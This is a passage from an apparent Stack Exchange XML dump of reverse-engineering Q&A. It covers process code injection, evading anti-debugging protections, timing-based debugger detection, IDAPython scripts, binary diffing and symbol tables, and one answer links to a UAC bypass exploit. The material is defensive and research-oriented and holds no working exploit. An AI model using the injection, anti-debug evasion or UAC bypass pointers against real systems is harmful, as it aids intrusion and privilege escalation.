out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are other ways to inject code, even before the legit process will start to run and place its protections - using combination of &lt;code&gt;WriteProcessMemory&lt;/code&gt;/&lt;code&gt;GetThreadContext&lt;/code&gt;/&lt;code&gt;SetThreadContext&lt;/code&gt; which theoretically could bypass all your implemented protections. When your code and injected one are only running in the same ring (user mode), it all goes down to who is gaining control first. Look for &lt;a href=&quot;http://resources.infosecinstitute.com/code-injection-techniques/&quot; rel=&quot;nofollow noreferrer&quot;&gt;code cave method&lt;/a&gt; and think for example when malcode is injected into explorer.exe and you are starting your program :-).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of cause, you can load your driver into kernel, which will give you more solid control over the code injection to your process and a good protection, but that of cause depends on the skills and what you are trying to protect.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-19T22:16:20.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3491" PostTypeId="2" ParentId="3489" CreationDate="2014-01-19T21:56:54.490" Score="14" Body="&lt;p&gt;I'm not sure if it's still around, but Themida used to have a kernel-mode driver component that facilitated some of the protection features. It could well be installed on your system and catching the debugger out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first suggestion would be to try &lt;a href=&quot;http://debugger.immunityinc.com/&quot;&gt;Immunity Debugger&lt;/a&gt;. It's an Olly fork that is designed for offensive debugging and exploit development, but it might have a different enough codebase and enough anti-anti-debug stuff built in to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;a href=&quot;http://cheatengine.org/index.php&quot;&gt;Cheat Engine&lt;/a&gt; along with its DBVM kernel-mode module. It's usually used for cheating in games, but CE actually has a very fully featured debugger and some nice stealth features. The driver component re-implements a bunch of core Windows APIs, such as OpenProcess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the kernel-mode driver &lt;em&gt;isn't&lt;/em&gt; still around, then it may well just be something like the OutputDebugString trick causing the crash. If the target is using TLS callbacks to execute code before WinMain, it might crash the debugger before you get to it. You could try editing Olly's options so that it breaks on the system entry point rather than WinMain.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2014-01-19T21:56:54.490" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3492" PostTypeId="2" ParentId="3477" CreationDate="2014-01-20T04:32:06.197" Score="4" Body="&lt;p&gt;There are CPU instructions and OS APIs that can achieve this, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RDPMC&#xA;RDTSC&#xA;GetLocalTime&#xA;GetSystemTime&#xA;GetTickCount&#xA;KiGetTickCount&#xA;QueryPerformanceCounter&#xA;timeGetTime&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is achieved by requesting the current time, performing some kind of CPU-intensive operation (or requiring that someone debugging the code does so, such as single-stepping), requesting the time again, and then calculating the delta between the two.  If the delta is significantly larger than you would expect in native execution mode, then it suggests the presence of the debugger.  Note, however, that this is far from an accurate method, since that result is indistinguishable from a system under heavy load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is covered in some detail in section &quot;(C) Execution Timing&quot; in my &quot;Ultimate&quot; Anti-Debugging Reference (&lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;nofollow&quot;&gt;http://pferrie.host22.com/papers/antidebug.pdf&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-01-20T04:32:06.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3493" PostTypeId="2" ParentId="3482" CreationDate="2014-01-20T04:39:53.897" Score="2" Body="&lt;p&gt;The reason for targeting the RWX pages is that the injected code most often carries data in the same region as the code, and requires that the data are writable.  Thus the W flag is needed.  The X flag is required to support DEP, in case the process opted in, or if the system enforces it for everyone.  The R flag is entirely optional when requesting the page.  Windows will ensure that it is set anyway.&#xA;It is of course possible for malware to allocate two regions, one [R]X and one [R]W, and write only to the writable section, but I don't recall ever seeing this technique being used.  For one thing, it complicates the injected code.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-01-20T04:39:53.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3494" PostTypeId="2" ParentId="3487" CreationDate="2014-01-20T04:45:18.743" Score="6" Body="&lt;p&gt;One way that a process can detect the presence of injected threads is by the use of Thread Local Storage.  When a thread is injected, the host's Thread Local Storage callbacks will be called unless the injector takes care to disable that.  If the callbacks are called, then the host can query the start address of the new thread and determine if it is within the host's defined code region (which only the host would know)  See the Thread Local Storage section in my &quot;Ultimate&quot; Anti-Debugging Tricks paper (&lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot;&gt;http://pferrie.host22.com/papers/antidebug.pdf&lt;/a&gt;) for an example of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this does not detect everything (some malware use cavities within the host's existing code section in order to perform the injection), it will certainly catch some things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the short answer to your question is actually &quot;no&quot;.  There isn't a way for a process to &quot;know&quot; in &lt;em&gt;all&lt;/em&gt; cases that something has been injected.  It is &quot;yes&quot; for most cases, but not all of them.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-01-20T04:45:18.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3495" PostTypeId="1" AcceptedAnswerId="3499" CreationDate="2014-01-20T04:45:41.053" Score="23" ViewCount="10531" Body="&lt;h1&gt;Problem Statement&lt;/h1&gt;&#xA;&lt;p&gt;I have a file composed entirely of data structures; I've been trying to find a tool that will enable me to open this file, and declare (perhaps) a type and offset such that i may work with the presumed primitive data type individually.&lt;/p&gt;&#xA;&lt;p&gt;e.g. I declare the 4 bytes located at offset 0x04 to be a 32-bit unsigned integer, and would like to inspect the value at this location (read as big-endian perhaps) and then work with this integer individually (perhaps see what it looks like encoded as a 4-byte ascii string and attempt to read it, etc.)&lt;/p&gt;&#xA;&lt;h1&gt;Specifics&lt;/h1&gt;&#xA;&lt;p&gt;I have a 4096 byte file containing C-structs with member elements as integers ranging from 16-64 bits in length; the following is an example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct my_struct {&#xA;uint_32 magic&#xA;} // sizeof(my_struct) == 0x04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this case, magic = 'ball', and so when the file is opened in a text editor it reads as 'llab...', and obviously can also be represented as a 32-bit integer&lt;/p&gt;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&lt;p&gt;Is there a tool that enables static analysis of flat data structure files?&lt;/p&gt;&#xA;&lt;h1&gt;What I've considered thus far as a solution&lt;/h1&gt;&#xA;&lt;p&gt;I've considered writing a command line tool in Python to do this, but if something already exists I'd prefer to save time, and perhaps learn more about this topic by using a tool designed by someone more experienced. If it seems to you that I am going about this incorrectly (this is my first serious exploration into this kind of reversing) please guide my understanding, thanks.&lt;/p&gt;&#xA;&lt;h1&gt;Where I have already researched&lt;/h1&gt;&#xA;&lt;p&gt;Googled 'reverse engineering tools' and browsed the links&lt;/p&gt;&#xA;&lt;p&gt;Checked wikipedia's reverse engineering pages&lt;/p&gt;&#xA;&lt;p&gt;Tried some first principles reasoning&lt;/p&gt;&#xA;&lt;p&gt;Checked pypi&lt;/p&gt;&#xA;&lt;h1&gt;Results&lt;/h1&gt;&#xA;&lt;p&gt;There are three completely valid and correct answers, but I've marked the most detailed and least expensive of them as correct, because it is the most accessible to members of the community reviewing this question.&lt;/p&gt;&#xA;" OwnerUserId="3708" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-04-04T14:48:08.167" Title="What tools exist for excavating data structures from flat binary files?" Tags="|disassembly|tools|static-analysis|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3496" PostTypeId="2" ParentId="3495" CreationDate="2014-01-20T10:14:57.250" Score="6" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.hexworkshop.com/&quot;&gt;Hex Workshop&lt;/a&gt; for this. It has a bunch of useful flat-file reversing features, but my favourite is that it lets you declare structures in C-style syntax and load them on top of a file. It's not free, but it's more than worth the $90 price tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features I find most useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C-style struct syntax, supporting various arrays, string types, bitstrings, validity checks, etc.&lt;/li&gt;&#xA;&lt;li&gt;Customisable data inspector (useful if you only want to see data as a few types)&lt;/li&gt;&#xA;&lt;li&gt;Diffing&lt;/li&gt;&#xA;&lt;li&gt;Offset display (shows address offsets, selection size, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Sequence highlighting (like &quot;highlight all&quot; on find)&lt;/li&gt;&#xA;&lt;li&gt;Bitwise operations, checksums, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2014-01-20T10:14:57.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostTypeId="2" ParentId="3495" CreationDate="2014-01-20T12:25:43.423" Score="4" Body="&lt;p&gt;IDA can be used for working with data-only files. You can convert bytes to data items (bytes/words/dwords/qwords/floats/strings etc.), group them into structures or arrays (or arrays of structures), represent integers as offsets, add names and comments and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of some random BMP file represented in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000 BmHeader     db 'BM'     ; Signature&#xA;0002              dd 146h     ; Size&#xA;0006              dw 0&#xA;0008              dw 0&#xA;000A              dd offset pixel_array ; offset to image data&#xA;000E ; DIB header&#xA;000E              dd 40       ; size of this header&#xA;0012              dd 33       ; bitmap width&#xA;0016              dd 33       ; bitmap height&#xA;001A              dw 1        ; number of color planes&#xA;001C              dw 1        ; bits per pixel&#xA;001E              dd 0        ; compression: none&#xA;0022              dd 108h     ; size of image data&#xA;0026              dd 4724     ; horizontal resolution (pixels per meter)&#xA;002A              dd 4724     ; vertical resolution (pixels per meter)&#xA;002E              dd 0        ; colors in the palette&#xA;0032              dd 0        ; number of important colors&#xA;0036 ; Color table&#xA;0036              dd 0, 0FFFFFFh&#xA;003E ; pixel data&#xA;003E pixel_array  db 1, 73h, 13h, 6, 80h, 3 dup(0), 7Dh, 4Bh, 0E0h, 56h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-01-20T12:25:43.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostTypeId="1" AcceptedAnswerId="3500" CreationDate="2014-01-20T12:49:03.350" Score="12" ViewCount="2884" Body="&lt;p&gt;How can I detect/mark recursive functions in IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trivial method would be to check every function's call list and if it calls itself then it's recursive. I'ld like to put a comment or some kind of indicator that would help me distinguish these functions. &lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2015-06-17T09:04:34.473" Title="Detecting recursive functions in IDA" Tags="|ida|ida-plugin|functions|callstack|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3499" PostTypeId="2" ParentId="3495" CreationDate="2014-01-20T14:13:28.050" Score="13" Body="&lt;p&gt;&lt;a href=&quot;http://www.sweetscape.com/010editor/templates.html&quot; rel=&quot;noreferrer&quot;&gt;010 Editor's Binary Templates&lt;/a&gt; feature is ideal for this type of work. It not only supports static &lt;code&gt;struct&lt;/code&gt; definitions, but also allows for dynamically sized &lt;code&gt;struct&lt;/code&gt; fields and supports a powerful scripting language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeE2h.gif&quot; alt=&quot;Example Template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Vq3a.gif&quot; alt=&quot;Editing the Template Results&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-20T14:13:28.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostTypeId="2" ParentId="3498" CreationDate="2014-01-20T14:54:29.433" Score="12" Body="&lt;p&gt;It is not trivial task. You can do it relatively easy if you not taking in account indirect calls (for example such as virtual functions in C++) and calls from another function like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int f() {&#xA;    g();&#xA;}&#xA;&#xA;int g() {&#xA;    f();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It can be much more complicated if one of your functions is in another binary (dll for example). So, there are two ways to do it, a static and a dynamic way.&lt;/p&gt;&#xA;&lt;h3&gt;&lt;/h3&gt;&#xA;&lt;h3&gt;Recursive assembly traversal - static analysis approach&lt;/h3&gt;&#xA;&lt;p&gt;You should write the script in IDAPython that passes over the function,&#xA;and recursively processes each call. If you find current function in collected stack the function is recursive.&lt;/p&gt;&#xA;&lt;p&gt;Very simple variant looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# I didn't check it, use carefully, beware the errors in this code&#xA;import idautils&#xA;import idc&#xA;import idaapi&#xA;&#xA;def handle_function(func_start):&#xA;    global stack&#xA;    if func_start in stack:&#xA;        print &amp;quot;This is recursive function&amp;quot;, hex(func_start), Name(func_start)&#xA;        for x in stack:&#xA;            print &amp;quot;\t&amp;quot;, hex(x)&#xA;        #insert your renaming here, it should be idc.MakeName&#xA;        return&#xA;&#xA;    stack.append(func_start)&#xA;    for h in idautils.FuncItems(func_start):&#xA;        for r in idautils.XrefsFrom(h, 0):&#xA;            if r.type == fl_CF or r.type == fl_CN:&#xA;                print hex(h), &amp;quot;--&amp;gt;&amp;quot;, hex(r.to)&#xA;                if r.to == func_start:&#xA;                    # Insert renaming here too for simple recursion&#xA;                    print &amp;quot;It is simple recursive function that calls itself directly&amp;quot;&#xA;                    return&#xA;                else:&#xA;                    handle_function(r.to)&#xA;    stack = stack[:-1]&#xA;&#xA;for f in idautils.Functions():&#xA;    stack = []&#xA;    handle_function(f)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;/h3&gt;&#xA;&lt;h3&gt;Breakpoint analysis - dynamic analysis approach&lt;/h3&gt;&#xA;&lt;p&gt;Write script in IDAPython that recognizes all function prologues and filters out all functions that doesn't call anything.&#xA;Put breakpoint on each collected prologue and run the program.&#xA;Each time the program stops, analyze stack of the program using IDAPython in order to find function you are stopped on in the stack. If you find it, the function is recursive.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-01-27T00:02:12.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostTypeId="1" AcceptedAnswerId="3504" CreationDate="2014-01-20T15:32:35.123" Score="2" ViewCount="811" Body="&lt;p&gt;Is it possible for a running process to turn off User Account Control (UAC) via a Windows API call? If so, which API calls are needed?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this &lt;a href=&quot;https://stackoverflow.com/questions/852867/disable-vista-uac-per-application-or-elevate-privileges-without-prompt&quot;&gt;interesting question/answer&lt;/a&gt; on stackoverflow, however, I'm interested if there is some other way to do it.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-21T07:28:06.150" Title="Can a process disable UAC via WinAPI without prompting the user?" Tags="|windows|winapi|" AnswerCount="1" CommentCount="3" ClosedDate="2014-01-21T07:28:36.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="3503" PostTypeId="1" AcceptedAnswerId="3514" CreationDate="2014-01-21T00:24:41.743" Score="3" ViewCount="5168" Body="&lt;p&gt;Is there a practical way to find if the raw binary (firmware image for example) has symbol table ? Finding start or end of it ? And if it exists is it a single block or can it be seperate multiple blocks with another data inbetween ?    &lt;/p&gt;&#xA;" OwnerUserId="3653" LastActivityDate="2014-01-22T07:20:01.180" Title="How to determine if binary has symbol table" Tags="|disassembly|firmware|symbols|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3504" PostTypeId="2" ParentId="3501" CreationDate="2014-01-21T07:28:06.150" Score="3" Body="&lt;p&gt;This seems like a security ex question instead of one about reverse engineering. Therefore I'd keep my answer short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; not be possible. Simply as malware would abuse this, what you could do if you want this is find a 0day in kernel space and get SYSTEM privileges. Back in 2010 there was someone from China who has posted a method on the code project(if I recall correctly). It's now hosted on the exploit-db..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/&quot; rel=&quot;nofollow&quot;&gt;http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goodluck on your research.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-01-21T07:28:06.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3505" PostTypeId="2" ParentId="3498" CreationDate="2014-01-21T08:24:00.780" Score="15" Body="&lt;p&gt;I lack 9 reputation points, so sadly I can't comment the great answer by w_s. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for completeness, the concept described is known in graph theory as &quot;Tarjan's Algorithm&quot; for finding strongly connected components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tarjan%27s_strongly_connected_components_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt; has a nice animation that helps following the steps.&lt;img src=&quot;https://zippy.gfycat.com/ActualSinfulConch.gif&quot; alt=&quot;Tarjan&amp;#39;s Algorithm&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For study, here is another (more formal) &lt;a href=&quot;http://www.logarithmic.net/pfh-files/blog/01208083168/tarjan.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python implementation&lt;/a&gt;, it's the one I have used for finding loops in functions in &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope/src/f353158d25b331c69e1b6ac360aa46cfff672dd3/idascope/core/helpers/Tarjan.py?at=master&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAscope&lt;/a&gt; but it's easily adapted for finding recursive functions.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.533" LastActivityDate="2015-06-17T09:04:34.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3506" PostTypeId="2" ParentId="3503" CreationDate="2014-01-21T16:10:52.427" Score="2" Body="&lt;p&gt;As pointed out in the first comment: firmware may have a custom format, therefore there is no general way to extract the symbols table from it. However,&#xA;you can extract the debugging symbols from an ELF binary using &lt;code&gt;&lt;a href=&quot;https://sourceware.org/binutils/docs/binutils/objcopy.html&quot; rel=&quot;nofollow&quot;&gt;objcopy&lt;/a&gt;&lt;/code&gt;. The command should look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;objcopy --only-keep-debug binary_file output_file_with_debug_symbols&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you inspect the &lt;code&gt;output_file_with_debug_symbols&lt;/code&gt; you will see which were the symbols from your binary. This is how to find out if an ELF binary has a symbol table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using &lt;a href=&quot;http://www.dettus.net/dhex/&quot; rel=&quot;nofollow&quot;&gt;dhex&lt;/a&gt; to compare the binary_file and the output_file_with_debug_symbols you can see that the isn't a fixed place in the binary where the debugging symbols start. However, in my case most of the debugging symbols were at the end of the binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seems that the debugging symbols are not a continuous block. There exist some short byte sequences at seemingly random positions, which are different in the binary file and the debug symbols file. Therefore, I don't think you can extract the symbols by simply start from an index and copy each byte until some ending index in the binary.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-01-21T16:37:55.027" LastActivityDate="2014-01-21T16:37:55.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3507" PostTypeId="1" AcceptedAnswerId="3509" CreationDate="2014-01-21T16:31:55.710" Score="7" ViewCount="2274" Body="&lt;p&gt;I know some binary diff tool like VBinDiff and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have a large number of binary, around 500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am looking for a binary tool to quantitatively evaluate the difference of binaries..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like evaluate the difference of binary 10 and binary 100 is 56%. Difference of binary 50 and binary 200 is 78%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2147" LastEditDate="2016-09-30T21:59:25.283" LastActivityDate="2016-09-30T21:59:25.283" Title="Is there any tool to quantitatively evaluate the difference of binary?" Tags="|binary-analysis|bin-diffing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostTypeId="2" ParentId="3507" CreationDate="2014-01-21T17:37:17.923" Score="6" Body="&lt;p&gt;You may want to give a try to &lt;a href=&quot;http://ssdeep.sourceforge.net/&quot;&gt;ssdeep&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ssdeep is a program for computing &lt;a href=&quot;http://dfrws.org/2006/proceedings/12-Kornblum.pdf&quot;&gt;context triggered piecewise hashes&lt;/a&gt; (CTPH). Also called fuzzy hashes, CTPH can match inputs that have homologies. Such inputs have sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-01-21T17:37:17.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostTypeId="2" ParentId="3507" CreationDate="2014-01-21T18:33:39.563" Score="3" Body="&lt;p&gt;Here is my solution.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I use &lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;radiff2&lt;/code&gt;&lt;/a&gt; to find out all the difference &#xA;between binaries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radiff2 binary1 binary2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then &lt;code&gt;xxd&lt;/code&gt; to convert binary into hex&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxd -p  final&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After that, &lt;code&gt;wc&lt;/code&gt; to figure out the number of hex in one binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wc -c outputhex&#xA;wc -l newlineneedtodelete&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now I have the difference between two binaries and the total number of hex in each binary. A simple divide could figure out the percentage of difference as I want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-01-21T22:01:03.307" LastActivityDate="2014-01-21T22:01:03.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3510" PostTypeId="1" AcceptedAnswerId="3511" CreationDate="2014-01-21T21:37:51.397" Score="3" ViewCount="138" Body="&lt;p&gt;i am analysing a crash, the crash occurs in a function that its always on use, if set a break point in this function always stop the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the crash occurs, overwrite mm3 register, i want when overwrite mm3 with my values use the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the original estate of mm3 register its 0:0:e3cb:f144, when crash its aaaa:aa00:0:0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp abpatch &quot;.if @mm3  = aaaa:aa00:0:0  {} .else {gc}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error, i cant use &quot;:&quot; on bp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp abpatch &quot;.if @mm3  = aaaaaa000:0  {} .else {gc}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp abpatch &quot;.if (@mm3 &amp;amp; 0x0`ffffffff) = 0x0`aaaaaa0000  {} .else {gc}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Program crash and dont stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;commonly i analyse the crash with -4 at the address that function crash, but now this function is always running on the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put aaaa for easy location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think too need stop just before mm3 have got this values, but i don't know :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can put a break point on a mm3 register??&#xA;any other solution for this ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestion? . Thank you in advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="3722" LastEditorUserId="1562" LastEditDate="2014-01-23T14:54:04.040" LastActivityDate="2014-01-23T14:54:04.040" Title="Specifying an MMX register's value in WinDbg" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostTypeId="2" ParentId="3510" CreationDate="2014-01-21T21:55:06.627" Score="3" Body="&lt;p&gt;&lt;code&gt;bp abpatch &quot;.if mm3 = aaaaaa0000000000 {} .else {gc}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-21T21:55:06.627" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostTypeId="2" ParentId="3507" CreationDate="2014-01-22T01:12:18.207" Score="3" Body="&lt;p&gt;Given that you're looking to compare ~500 binaries to each other, what you really want is &lt;a href=&quot;http://www.zynamics.com/vxclass.html&quot; rel=&quot;nofollow&quot;&gt;VxClass&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, Zynamics/Google is no longer selling VxClass. If anyone knows of a way to buy it or download it though, feel free to share the information here.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-22T01:12:18.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3514" PostTypeId="2" ParentId="3503" CreationDate="2014-01-22T07:20:01.180" Score="4" Body="&lt;p&gt;I worked with some types of symbol tables. All these types are very different and can not be defined as something that allows automatic detection. It can be some kind of list of tuples like (pointer to name, type, pointer to object, [something else]). There are a lot of other variants also. &#xA;Any time I succeeded to recognize symbol table it was done by manual inspection of analyzed dump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My methodology to find such symbol table is as follows (assuming that IDA didn't find it automatically):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Find all strings in the binary, sort them and inspect results.&#xA;    If you see a lot of potential object names (function names, global variable names etc) you can suspect that you can use it and it is possible that there is symbol table in the binary.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Choose some strings from the set. Check references to them. If you find &#xA;these references in something that looks like array of structures or any other regular data structure it might be your symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - When you understand what is the structure of your symbol table you can rename your objects with simple IDAPython script.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-22T07:20:01.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3515" PostTypeId="2" ParentId="3507" CreationDate="2014-01-22T11:43:58.010" Score="3" Body="&lt;p&gt;This is probably a bit further outside the normal reverse engineer's toolchest, but still a possibility. &lt;a href=&quot;http://www.chromium.org/developers/design-documents/software-updates-courgette&quot; rel=&quot;nofollow&quot;&gt;Courgette&lt;/a&gt; is the codename of the update mechanism behind Chromium and thus Chrome. Quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Courgette transforms the program into the primitive assembly language&#xA;  and does the diffing at the assembly level:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server:&#xA;    asm_old = disassemble(original)&#xA;    asm_new = disassemble(update)&#xA;    asm_new_adjusted = adjust(asm_new, asm_old)&#xA;    asm_diff = bsdiff(asm_old, asm_new_adjusted)&#xA;    transmit asm_diff&#xA;&#xA;client:&#xA;    receive asm_diff&#xA;    asm_old = disassemble(original)&#xA;    asm_new_adjusted = bspatch(asm_old, asm_diff)&#xA;    update = 